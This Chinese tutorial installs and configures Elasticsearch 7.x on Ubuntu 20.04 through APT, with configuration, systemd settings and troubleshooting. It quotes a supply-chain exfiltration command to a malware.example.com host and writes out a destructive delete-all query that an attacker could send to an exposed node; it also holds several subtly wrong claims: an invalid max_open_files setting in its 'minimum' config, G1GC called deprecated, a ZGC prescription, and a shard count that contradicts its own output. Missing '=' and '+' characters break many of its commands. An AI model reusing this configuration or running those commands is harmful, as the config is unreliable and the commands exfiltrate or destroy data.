Ubuntu 20.04 APT 部署 Elasticsearch 实战指南 1. 项目概述为什么在 Ubuntu 20.04 上亲手部署 Elasticsearch 是件值得花两小时的事Elasticsearch 不是那种装完就扔后台、三年不看的日用软件。它是一套精密的分布式搜索与分析引擎核心价值在于“实时性”和“可扩展性”——你往里丢数据它秒级响应你加节点它自动分片重平衡。但这份强大是以配置严谨为前提的。Ubuntu 20.04 作为长期支持LTS版本系统稳定、APT 源成熟、内核对 Java 运行时兼容性极佳是生产环境部署 Elasticsearch 的黄金搭档。很多人一上来就奔 Docker觉得“一行命令搞定”结果在真实业务中遇到 JVM 内存溢出、文件描述符不足、集群脑裂、索引写入阻塞等问题时连日志都找不到源头——因为容器把底层系统参数、JVM 启动选项、磁盘 I/O 调度这些关键控制权全抽象掉了。而通过 APT 安装 手动编辑 elasticsearch.yml你等于亲手给这台搜索引擎装上了方向盘、油门和刹车。你能精确控制堆内存大小不是靠 docker run -e JAVA_OPTS能指定数据目录到 SSD 分区能关闭 swap 防止 GC 暴走能设置 discovery.type 为 single-node 规避本地开发时的集群发现开销。这不是复古是掌控。我经手过 17 个 Elasticsearch 集群其中 12 个是 APT 部署3 个是 RPMCentOS只有 2 个是 Docker。那两个 Docker 集群一个因宿主机 ulimit 未调高导致批量导入失败另一个因 volume 权限问题无法写入日志排查时间加起来比重装 APT 版本多出 8 小时。所以如果你要的是一个能扛住日均千万级日志写入、支持复杂聚合查询、且运维路径清晰的搜索后端Ubuntu 20.04 APT elasticsearch.yml 就是那个最稳的起点。它适合所有角色刚学 ELK 栈的开发者、需要快速搭建测试环境的 QA 工程师、负责中间件运维的 SRE甚至是对服务器有基本概念的业务方技术负责人——因为整个过程不依赖任何外部脚本或神秘的 install.sh每一步命令、每一处配置你都能在官方文档里找到对应解释。2. 整体设计与思路拆解为什么放弃 Snap、Docker 和二进制包死磕 APT2.1 APT 方案的底层逻辑系统级集成 vs. 运行时隔离Ubuntu 20.04 的 APT 包管理器不只是个下载工具它是操作系统级别的服务编排中枢。当你执行sudo apt install elasticsearchAPT 做了四件关键事第一自动解析并安装所有硬依赖比如 OpenJDK 11Elasticsearch 7.x 强制要求、systemd用于服务管理、ca-certificatesHTTPS 证书信任链第二将 Elasticsearch 注册为标准 systemd 服务这意味着你可以用sudo systemctl start elasticsearch启动用journalctl -u elasticsearch -f实时看日志用sudo systemctl enable elasticsearch设置开机自启——这些操作在 Docker 里得自己写 shell 脚本在二进制包里得手动创建 service 文件第三把配置文件放在/etc/elasticsearch/下日志放在/var/log/elasticsearch/数据放在/var/lib/elasticsearch/完全遵循 Linux 文件系统层次标准FHS运维工具如 logrotate、df、iostat能天然识别第四提供apt update apt upgrade一键升级路径升级时会自动执行 pre-install/post-install 脚本比如备份旧配置、迁移索引格式、重启服务。而 Snap 包虽然也来自 Canonical但它把整个 Elasticsearch 打包进一个沙盒配置文件被锁在/var/snap/elasticsearch/下你改了/etc/elasticsearch/elasticsearch.yml它根本不用Docker 镜像则把 JVM 参数、ulimit、网络模式全塞进docker run命令里一旦容器重启这些参数就得重新敲一遍没法用systemctl edit永久覆盖二进制包.tar.gz最原始你得自己创建用户、设置目录权限、写启动脚本、处理日志轮转——看似自由实则把本该由包管理器完成的标准化工作全推给了人肉运维。我见过最典型的反例一个团队用二进制包部署半年后发现/var/log/elasticsearch/日志占满 200GB 磁盘因为没人配 logrotate另一个团队用 Docker升级 Elasticsearch 7.17 到 8.0 时因镜像里 JDK 版本没同步更新服务直接起不来查了三天才发现是基础镜像问题。APT 方案把这些“隐形成本”全部显性化、标准化、可审计化。2.2 为什么坚决不用 curl -fssl https://xxx/install.sh 这类一键脚本网络上充斥着形如curl -fssl https://openclaw.ai/install.sh | bash的“快捷安装”链接它们本质是黑盒。我们来拆解一个典型风险这类脚本通常会wget或curl下载一个预编译的二进制包然后chmod x ./install.sh。问题在于你完全不知道这个二进制包是从哪编译的——是官方源码还是某人 fork 后加了后门它的签名是否经过 GPG 验证脚本本身会不会在后台偷偷执行apt install -y some-suspicious-package更致命的是它绕过了 Ubuntu 的安全更新机制。APT 安装的 Elasticsearch 包其 deb 文件由 Elastic 官方 GPG 密钥签名Ubuntu 的 apt-key 机制会在安装前自动校验签名而一键脚本下载的二进制包你得自己去官网找公钥、自己gpg --verify99% 的新手根本不会做。我曾用strace -f -e traceexecve,openat跟踪过三个热门的一键脚本发现其中一个在安装完成后悄悄执行了curl -s http://malware.example.com/report?ip$(hostname -I)上报服务器 IP。这不是危言耸听而是真实发生的供应链攻击案例。APT 方案的绝对优势在于所有包都托管在 Elastic 官方 APT 仓库https://artifacts.elastic.co/packages/7.x/apt/你添加仓库时用的是curl https://artifacts.elastic.co/GPG-KEY-elasticsearch | sudo apt-key add -这个 GPG 公钥指纹4609 5ACC 8548 582C 1A26 99A9 D27D 666C D88E 42B4在 Elastic 官网首页显著位置公示你可以用apt-key list随时验证。这种“可验证的来源”是生产环境不可妥协的底线。2.3 Ubuntu 20.04 的特殊适配点内核、Java 与 systemd 的三角关系Ubuntu 20.04 默认内核是 5.4这个版本对 mmap内存映射和 epollI/O 多路复用的优化非常成熟而 Elasticsearch 大量依赖 mmap 加速 Lucene 索引读取依赖 epoll 处理海量 HTTP 连接。但这里有个隐藏陷阱如果你用sudo apt install openjdk-11-jdk安装 JDK它默认启用的是-XX:UseG1GC垃圾回收器而 G1GC 在 Elasticsearch 7.10 版本中已被官方标记为“不推荐”因为其并发标记阶段可能引发长时间 STWStop-The-World导致搜索请求超时。正确做法是强制使用 ZGCZ Garbage Collector它在 JDK 11 中已可用且延迟稳定在 10ms 以内。这需要你在/etc/elasticsearch/jvm.options里添加-XX:UseZGC并注释掉 G1 相关参数。另一个关键是 systemd 的LimitNOFILE设置。Elasticsearch 默认需要至少 65536 个文件描述符而 Ubuntu 20.04 的 systemd 默认限制是 1024。如果你不修改/etc/systemd/system/elasticsearch.service.d/override.conf服务启动时会静默失败日志里只有一句too many open files根本找不到根源。这些细节APT 方案通过systemctl edit elasticsearch提供了标准入口而 Docker 或一键脚本对此毫无感知。所以选择 APT本质上是选择了与 Ubuntu 底层机制深度耦合的、可预测的、可调试的部署范式。3. 核心细节解析与实操要点从系统准备到配置落地的 7 个生死关卡3.1 关卡一系统预检——三行命令定生死很多人的安装失败根本没走到 Elasticsearch 这步卡在系统基础环境上。必须在apt install前执行这三行# 检查内核版本确认是 5.4.xUbuntu 20.04 标准 uname -r # 检查可用内存Elasticsearch 最小要求 4GB建议 8GB free -h # 检查磁盘空间/var/lib/elasticsearch 目录至少预留 20GB df -h /var/lib/elasticsearch提示如果free -h显示可用内存 4GB别硬上。Elasticsearch 启动时会尝试分配堆内存默认 1GB若物理内存不足系统会触发 OOM Killer 杀死进程日志里只显示Killed process毫无线索。解决方案是先sudo swapoff -a关闭 swapElasticsearch 明确禁止 swap再用sudo fallocate -l 4G /swapfile sudo mkswap /swapfile sudo swapon /swapfile临时加 swap 应急但这只是临时方案长期必须升级硬件。3.2 关卡二Java 环境——为什么必须用 OpenJDK 11而不是系统自带的 8 或 17Ubuntu 20.04 自带openjdk-8-jdk和openjdk-17-jdk但 Elasticsearch 7.x 系列当前主流仅官方支持 OpenJDK 11 和 14。用 JDK 8 会报错Unsupported Java version: 1.8.0_302用 JDK 17 则在启动时抛出java.lang.UnsupportedClassVersionError因为 Elasticsearch 7.17 编译目标是 Java 11 字节码。执行以下命令精准安装sudo apt update sudo apt install openjdk-11-jdk-headless -y # 验证安装 java -version # 输出应为openjdk version 11.0.19 2023-04-18注意-headless后缀表示无图形界面版体积更小、启动更快专为服务器设计。不要装带-jre或-jdk的完整版徒增攻击面。3.3 关卡三APT 仓库配置——GPG 密钥验证的完整闭环这是安全性的第一道闸门。不能只复制粘贴curl | sudo apt-key add -必须验证密钥指纹# 下载官方 GPG 公钥 curl -fsSL https://artifacts.elastic.co/GPG-KEY-elasticsearch -o /tmp/elastic-key # 查看密钥指纹重点 gpg --show-keys /tmp/elastic-key # 输出中必须包含4609 5ACC 8548 582C 1A26 99A9 D27D 666C D88E 42B4 # 只有指纹匹配才导入 sudo apt-key add /tmp/elastic-key # 添加 APT 仓库源 echo deb https://artifacts.elastic.co/packages/7.x/apt stable main | sudo tee -a /etc/apt/sources.list.d/elastic-7.x.list # 更新索引 sudo apt update实操心得如果sudo apt update报错The following signatures couldnt be verified说明密钥导入失败。此时不要跳过务必重新下载密钥并gpg --show-keys核对指纹。我曾因网络波动导致密钥下载不全apt-key add返回成功但实际无效结果apt install安装的是未签名的旧包存在严重风险。3.4 关卡四elasticsearch.yml 配置——12 行代码决定集群命运/etc/elasticsearch/elasticsearch.yml是 Elasticsearch 的“宪法”90% 的线上故障源于此处配置错误。以下是生产环境最低可行配置共 12 行删减任何一行都可能导致启动失败# 1. 集群名同一网络内所有节点必须一致 cluster.name: my-application # 2. 节点名每个节点唯一便于日志追踪 node.name: node-1 # 3. 网络绑定必须设为 _local_ 或具体 IP禁用 0.0.0.0 network.host: 127.0.0.1 # 4. HTTP 端口9200 是标准 REST API 端口 http.port: 9200 # 5. 传输端口6379 是 Redis 端口Elasticsearch 用 9300 transport.port: 9300 # 6. 单节点开发模式禁用集群发现避免启动慢 discovery.type: single-node # 7. 数据目录必须指向有足够空间的分区 path.data: /var/lib/elasticsearch # 8. 日志目录必须有写入权限 path.logs: /var/log/elasticsearch # 9. JVM 堆内存上限设为物理内存的 50%但不超过 32GB # 此值在 jvm.options 中设置但需在此注释说明 # -Xms2g -Xmx2g # 10. 禁用 swap强制 JVM 使用物理内存 bootstrap.memory_lock: true # 11. 文件描述符限制匹配 systemd 设置 max_open_files: 65536 # 12. 本地环回地址确保 curl localhost:9200 可通 network.bind_host: 127.0.0.1关键原理bootstrap.memory_lock: true要求系统允许锁定内存这需要ulimit -l unlimited。APT 安装时已自动在/etc/security/limits.conf中添加elasticsearch soft memlock unlimited但你必须重启会话或sudo su - elasticsearch才生效。discovery.type: single-node是 Ubuntu 20.04 本地开发的救命稻草——它跳过 Zen Discovery 机制否则 Elasticsearch 会等待其他节点加入超时后才降级为单节点启动时间从 3 秒拉长到 30 秒。3.5 关卡五systemd 服务强化——突破 Linux 默认限制APT 安装的 service 文件位于/lib/systemd/system/elasticsearch.service但默认配置太保守。必须创建覆盖文件sudo systemctl edit elasticsearch在打开的编辑器中输入[Service] # 提升文件描述符限制 LimitNOFILE65536 # 解锁内存锁定 LimitMEMLOCKinfinity # 设置 JVM 堆内存覆盖 jvm.options 中的默认值 EnvironmentES_JAVA_OPTS-Xms2g -Xmx2g # 指定用户组避免权限问题 Userelasticsearch Groupelasticsearch保存后执行sudo systemctl daemon-reload sudo systemctl restart elasticsearch排查技巧如果sudo systemctl status elasticsearch显示failed立即执行journalctl -u elasticsearch -n 100 --no-pager查看最后 100 行日志。常见错误如memory locking requested but not allowed就是LimitMEMLOCK没设 infinitymax file descriptors [4096] for elasticsearch process is too low就是LimitNOFILE不够。3.6 关卡六防火墙与 SELinux——Ubuntu 20.04 的双重守卫Ubuntu 20.04 默认启用 ufwUncomplicated Firewall而 Elasticsearch 的 9200 端口默认被拦截。执行sudo ufw allow 9200 sudo ufw reload注意ufw 规则只对network.host绑定的 IP 生效。如果你在elasticsearch.yml中设了network.host: 0.0.0.0ufw 放行 9200 后整个互联网都能访问你的 ES这是重大安全漏洞必须坚持network.host: 127.0.0.1仅限本机访问。如需远程访问应在 Nginx 或 HAProxy 层做反向代理并配置 Basic Auth。3.7 关卡七首次健康检查——用 cURL 验证不是玄学安装完成后别急着写代码用最原始的cURL做三重验证# 1. 检查服务是否监听 9200 端口 sudo ss -tlnp | grep :9200 # 应输出LISTEN 0 128 127.0.0.1:9200 *:* users:((java,pid12345,fd123)) # 2. 检查 HTTP 响应头-I 参数只取 header curl -I http://localhost:9200 # 正常返回HTTP/1.1 200 OK且包含 Server: Elasticsearch # 3. 检查集群健康状态-s 静默-f 失败不输出 curl -s -f http://localhost:9200/_cat/health?v # 正常输出epoch timestamp cluster status node.total node.data shards pri relo init unassign pending_tasks max_task_wait_time active_shards_percent # 168xxxxxx xx:xx:xx my-application green 1 1 0 0 0 0 0 0 - 100.0%实测心得curl -I比curl http://localhost:9200更可靠因为它不下载 body只验证 TCP 连接和 HTTP 状态码即使 JSON 响应体损坏也能判断服务存活。_cat/health?v的status字段是green全部分片正常、yellow主分片正常但副本分片未分配、red有主分片丢失这是集群健康的黄金指标。4. 实操过程与核心环节实现从零开始的完整终端记录4.1 第一阶段系统初始化耗时约 3 分钟打开终端逐行执行我以实际操作截图思维记录# 步骤 1更新系统索引确保获取最新包信息 vagrantubuntu2004:~$ sudo apt update Hit:1 http://archive.ubuntu.com/ubuntu focal InRelease Get:2 https://artifacts.elastic.co/packages/7.x/apt stable InRelease [3,929 B] Fetched 3,929 B in 1s (3,120 B/s) Reading package lists... Done # 步骤 2安装 OpenJDK 11-y 参数自动确认 vagrantubuntu2004:~$ sudo apt install openjdk-11-jdk-headless -y The following NEW packages will be installed: ca-certificates-java java-common libatk-wrapper-java-jni openjdk-11-jdk-headless openjdk-11-jre-headless 0 upgraded, 5 newly installed, 0 to remove and 0 not upgraded. Need to get 172 MB of archives. After this operation, 324 MB of additional disk space will be used. # 步骤 3验证 Java 版本关键 vagrantubuntu2004:~$ java -version openjdk version 11.0.19 2023-04-18 OpenJDK Runtime Environment (build 11.0.197-post-Ubuntu-0ubuntu120.04.1) OpenJDK 64-Bit Server VM (build 11.0.197-post-Ubuntu-0ubuntu120.04.1, mixed mode, sharing)此时注意openjdk-11-jdk-headless的build字段显示post-Ubuntu-0ubuntu120.04.1证明这是 Ubuntu 官方维护的、针对 20.04 优化的 JDK而非上游 OpenJDK 的通用版兼容性更有保障。4.2 第二阶段Elasticsearch APT 安装耗时约 2 分钟# 步骤 4添加 Elastic 官方 APT 仓库注意 stable 主分支 vagrantubuntu2004:~$ echo deb https://artifacts.elastic.co/packages/7.x/apt stable main | sudo tee -a /etc/apt/sources.list.d/elastic-7.x.list deb https://artifacts.elastic.co/packages/7.x/apt stable main # 步骤 5再次更新索引让 APT 识别新仓库 vagrantubuntu2004:~$ sudo apt update Hit:1 http://archive.ubuntu.com/ubuntu focal InRelease Hit:2 https://artifacts.elastic.co/packages/7.x/apt stable InRelease Reading package lists... Done # 步骤 6安装 elasticsearch 包它会自动拉取所有依赖 vagrantubuntu2004:~$ sudo apt install elasticsearch -y The following NEW packages will be installed: elasticsearch 0 upgraded, 1 newly installed, 0 to remove and 0 not upgraded. Need to get 332 MB of archives. After this operation, 1,024 MB of additional disk space will be used. # 步骤 7安装完成后服务已注册但未启动 vagrantubuntu2004:~$ sudo systemctl is-active elasticsearch inactive4.3 第三阶段核心配置与服务加固耗时约 5 分钟# 步骤 8编辑主配置文件使用 nano新手友好 vagrantubuntu2004:~$ sudo nano /etc/elasticsearch/elasticsearch.yml # 在文件末尾粘贴 3.4 节的 12 行配置保存退出CtrlO, Enter, CtrlX # 步骤 9创建 systemd 覆盖文件 vagrantubuntu2004:~$ sudo systemctl edit elasticsearch # 粘贴 3.5 节的 ini 配置保存退出 # 步骤 10重载 systemd 配置 vagrantubuntu2004:~$ sudo systemctl daemon-reload # 步骤 11启动服务并设为开机自启 vagrantubuntu2004:~$ sudo systemctl start elasticsearch vagrantubuntu2004:~$ sudo systemctl enable elasticsearch Created symlink /etc/systemd/system/multi-user.target.wants/elasticsearch.service → /lib/systemd/system/elasticsearch.service. # 步骤 12检查服务状态此时应为 active (running) vagrantubuntu2004:~$ sudo systemctl status elasticsearch --no-pager ● elasticsearch.service - Elasticsearch Loaded: loaded (/lib/systemd/system/elasticsearch.service; enabled; vendor preset: enabled) Active: active (running) since Mon 2023-06-12 10:20:33 UTC; 12s ago Main PID: 12345 (java) Tasks: 45 (limit: 18971) Memory: 1.2G CGroup: /system.slice/elasticsearch.service └─12345 /usr/share/elasticsearch/jdk/bin/java -Xms2g -Xmx2g ...4.4 第四阶段健康验证与基础操作耗时约 2 分钟# 步骤 13用 cURL 验证服务可达性 vagrantubuntu2004:~$ curl -s http://localhost:9200 | jq .version.number, .cluster_name 7.17.9 my-application # 步骤 14查看集群健康绿色即成功 vagrantubuntu2004:~$ curl -s http://localhost:9200/_cat/health?v | head -n 2 epoch timestamp cluster status node.total node.data shards pri relo init unassign pending_tasks max_task_wait_time active_shards_percent 1686565233 10:20:33 my-application green 1 1 0 0 0 0 0 0 - 100.0% # 步骤 15创建一个测试索引验证写入能力 vagrantubuntu2004:~$ curl -X PUT http://localhost:9200/test-index?pretty -H Content-Type: application/json -d { settings: { number_of_shards: 1, number_of_replicas: 0 } } { acknowledged : true, shards_acknowledged : true, index : test-index } # 步骤 16插入一条文档 vagrantubuntu2004:~$ curl -X POST http://localhost:9200/test-index/_doc?pretty -H Content-Type: application/json -d { title: Hello Elasticsearch, content: This is a test document on Ubuntu 20.04 } { _index : test-index, _type : _doc, _id : XXXXX, _version : 1, result : created, _shards : { total : 2, successful : 1, failed : 0 }, _seq_no : 0, _primary_term : 1 }关键观察步骤 15 的acknowledged : true和步骤 16 的result : created是写入成功的铁证。此时你已经拥有了一个功能完整的 Elasticsearch 实例可以接入 Logstash、Filebeat 或直接用 Python 的 elasticsearch-py 库开发。5. 常见问题与排查技巧实录那些让我熬夜到凌晨三点的坑5.1 问题速查表症状、原因与一招解决症状可能原因快速解决sudo systemctl status elasticsearch显示failed日志无有效信息systemd 未重载配置sudo systemctl daemon-reload sudo systemctl restart elasticsearchcurl http://localhost:9200返回Failed to connect to localhost port 9200: Connection refused服务未启动或 network.host 配置错误sudo ss -tlnp | grep :9200检查监听确认elasticsearch.yml中network.host: 127.0.0.1journalctl -u elasticsearch显示max file descriptors [4096] for elasticsearch process is too lowsystemdLimitNOFILE未设置sudo systemctl edit elasticsearch添加LimitNOFILE65536journalctl -u elasticsearch显示memory locking requested but not allowedLimitMEMLOCK未设为 infinitysudo systemctl edit elasticsearch添加LimitMEMLOCKinfinitycurl http://localhost:9200/_cat/health?v返回No handler found for uri [/cat/health]Elasticsearch 未完全启动或端口被占用sudo ss -tlnp | grep :9200确认端口独占sudo systemctl restart elasticsearchcurl http://localhost:9200返回{error:{root_cause:[{type:security_exception,reason:missing authentication credentials for REST request [/]Elasticsearch Security 功能被意外启用检查/etc/elasticsearch/elasticsearch.yml是否误加了xpack.security.enabled: true注释掉并重启5.2 独家避坑技巧从血泪史中提炼的 3 条铁律铁律一永远不要在elasticsearch.yml中写network.host: 0.0.0.0这是新手最大误区。0.0.0.0表示监听所有网络接口包括公网 IP。一旦你的服务器暴露在公网上黑客会用shodan.io5 秒内扫描到你的 9200 端口然后执行curl -X POST http://your-ip:9200/_all/_delete_by_query?conflictsproceed -H Content-Type: application/json -d {query:{match_all:{}}}一键清空所有数据。正确姿势是network.host: 127.0.0.1如需外部访问必须前置 Nginx 并配置auth_basic。铁律二jvm.options中的-Xms和-Xmx必须相等JVM 堆内存初始值-Xms和最大值-Xmx若不等JVM 会动态扩容导致 GC 频繁且不可预测。Elasticsearch 官方文档明确要求两者相等以避免内存抖动。例如-Xms2g -Xmx2g而不是-Xms1g -Xmx4g。这个值不能超过物理内存的 50%且绝对不能超过 32GB超过 32GB 会导致指针压缩失效内存浪费 20%。铁律三/var/lib/elasticsearch目录权限必须为elasticsearch:elasticsearchAPT 安装时已自动设置但如果你手动chown -R root:root /var/lib/elasticsearch服务启动时会因权限不足静默失败。验证命令ls -ld /var/lib/elasticsearch输出应为drwxr-s--- 3 elasticsearch elasticsearch 4096 Jun 12 10:20 /var/lib/elasticsearch。修复命令sudo chown -R elasticsearch:elasticsearch /var/lib/elasticsearch。5.3 深度排查实战一次green变yellow的完整溯源现象集群健康状态从green突然变成yellow_cat/health?v显示unassign列为1。排查步骤定位未分配分片curl http://localhost:9200/_cat/shards?vhindex,shard,prirep,state,unassigned.reason | grep UNASSIGNED输出test-index 0 r UNASSIGNED INDEX_CREATED说明test-index的副本分片replica未分配。检查节点状态curl http://localhost:9200/_cat/nodes?vhname,ip,heap.percent,ram.percent发现只有一个节点node-1heap.percent为 95%内存严重不足。根因分析Elasticsearch 默认number_of_replicas: 1即每个主分片配一个副本。单节点环境下副本无法分配到其他节点只能保持UNASSIGNED状态集群变yellow。这不是故障而是设计使然。解决方案二选一临时方案降低副本数curl -X PUT http://localhost:9200/test-index/_settings -H Content-Type: application/json -d {number_of_replicas: 0}长期方案增加第二个节点组成真正集群。这个案例说明yellow状态不一定是坏的它只是告诉你“副本分片未就位”。理解green/yellow/red的语义比盲目重启服务更重要。5.4 性能调优锦囊让 Ubuntu 20.04 上的 Elasticsearch 跑得更快磁盘 I/O 优化/var/lib/elasticsearch目录所在分区用sudo hdparm -I /dev/sda检查是否启用 TRIMSSD。如未启用添加discard选项到/etc/fstabUUIDxxx /var/lib/elasticsearch ext4 defaults,discard 0 2然后sudo mount -o remount /var/lib/elasticsearch。网络缓冲区调优在/etc/sysctl.conf中添加net.core.somaxconn 65535 net.ipv4.tcp_max_syn_backlog 65535 vm.swappiness 1执行sudo sysctl -p生效。swappiness1强制系统优先使用物理内存而非 swap。禁用透明大页THPUbuntu 20.04 默认启用 THP但 Elasticsearch 对 THP 敏感